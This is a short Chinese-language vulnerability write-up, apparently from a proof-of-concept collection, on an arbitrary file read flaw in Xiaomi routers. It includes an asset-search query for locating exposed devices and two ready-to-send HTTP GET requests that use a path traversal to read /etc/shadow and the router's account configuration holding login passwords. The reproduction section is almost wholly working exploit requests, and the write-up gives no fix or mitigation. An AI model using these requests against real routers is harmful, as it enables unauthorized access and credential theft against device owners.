小米路由器任意文件读取漏洞
一、漏洞简介
小米路由器是一款高配的智能路由器,具备强大的扩展,并且具备高速传输的特点,其传输速度最高可以达到866M,相比普通150M/300M的普通无线路由器具备更高无线传输速率。小米路由器系统任意文件读取漏洞
二、影响版本
- 小米路由器
三、资产测绘
app="小米路由器"
四、漏洞复现
GET /api-third-party/download/extdisks../etc/shadow HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept-Encoding: gzip, deflate
读取登录密码
GET /api-third-party/download/extdisks../etc/config/account HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept-Encoding: gzip, deflate